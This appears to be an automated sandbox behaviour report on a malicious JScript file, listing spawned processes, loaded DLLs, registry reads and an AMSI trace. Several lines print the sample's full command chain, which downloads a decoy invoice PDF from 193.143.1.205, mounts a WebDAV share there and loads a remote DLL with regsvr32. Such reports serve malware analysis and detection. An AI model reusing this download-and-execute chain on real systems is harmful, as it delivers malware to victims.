Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File created: C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Jump to behavior

Source: 26680121751816526037.js

Initial sample: Strings found which are bigger than 50

Source: classification engine

Classification label: mal100.rans.spyw.expl.evad.winJS@28/63@0/2

Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe

File created: C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:2608:120:WilError_03

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_x1ybxh4j.jma.ps1

Jump to behavior

Source: C:\Windows\System32\wscript.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: unknown	Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\26680121751816526037.js"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\22369444332619.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user~1\AppData\Local\Temp\invoice.pdf"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2280 --field-trial-handle=1528,i,1093734164666883056,6253685785449591838,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\22369444332619.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user~1\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2280 --field-trial-handle=1528,i,1093734164666883056,6253685785449591838,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: jscript.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrobj.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: drprov.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ntlanman.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davclnt.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davhlpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: qmgr.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsperf.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: firewallapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: esent.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: flightsettings.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netprofm.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: npmproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsigd.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: upnp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ssdpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: appxdeploymentclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmauto.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dsrole.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: pcwum.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msv1_0.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntlmshared.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptdll.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rmclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: usermgrcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: resourcepolicyclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vssapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vsstrace.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samlib.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: es.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mpr.dll	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{f414c260-6ac0-11cf-b6d1-00aa00bbbb58}\InprocServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Data Obfuscation

JScript performs obfuscated calls to suspicious functions

Source: C:\Windows\System32\wscript.exe

Anti Malware Scan Interface: WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IHost.CreateObject("Scripting.FileSystemObject");IFileSystem3.CreateTextFile("Z:\syscalls\2972.js.csv");ITextStream.WriteLine(" entry:7388 f:sdqfi");ITextStream.WriteLine(" exec:2 f:sdqfi");IHost.Name();ITextStream.WriteLine(" entry:38 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IWshShell3._00000000();ITextStream.WriteLine(" exit:36 o: f:RegRead r:%2200000C00%22");ITextStream.WriteLine(" entry:16 o: f:parseInt a0:%2200000C00%22 a1:16");ITextStream.WriteLine(" exit:16 o: f:parseInt r:3072");IHost.Name();ITextStream.WriteLine(" entry:306 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:306 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:304 o: f:run a0:%22cmd%20%2Fc%20powershell.exe%20-Command%20%22Invoke-WebRequest%20-OutFile%20%25temp%25%5Cinvoice.pdf%20http%3A%2F%2F193.143.1.205%2Finvoice.php%22%26%26start%20%25temp%25%5Cinvoice.pdf%26%26cmd%20%2Fc");IWshShell3.Run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.", "0", "false")

Suspicious powershell command line found

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"			Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
